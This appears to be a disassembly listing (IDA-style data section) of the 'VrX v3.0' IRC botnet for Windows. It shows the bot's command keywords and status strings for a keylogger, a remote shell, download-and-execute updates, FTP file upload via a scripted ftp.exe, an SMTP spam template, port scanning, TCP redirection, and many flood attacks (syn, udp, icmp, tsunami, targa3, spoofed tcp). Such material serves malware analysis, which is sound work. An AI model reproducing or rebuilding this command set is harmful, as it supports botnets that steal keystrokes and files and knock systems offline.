unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 10h
unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+76DFo
dd 27732527h, 2Eh
unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+7550o
dd 2Eh
dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_408F9Do
dd 746E6573h, 2Eh
unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+748Fo
dd 732520h
unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
asc_42A080: ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 4
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 4
unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 10h
unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 10h
unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 10h
unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 10h
dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 10h
unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 4
dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 10h
unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 4
unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 10h
unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
align 4
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
aP: ; DATA XREF: sub_401ACD+4F31o
; ___:00438AF0o
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
aU: ; DATA XREF: sub_401ACD+4EBEo
; ___:00438B00o
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 10h
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 4
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 10h
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 10h
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 10h
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 10h
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 4
aE: ; DATA XREF: sub_401ACD+49DAo
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 10h
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 10h
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 4
aM: ; DATA XREF: sub_401ACD+47E0o
; ___:004387C8o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 10h
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 4
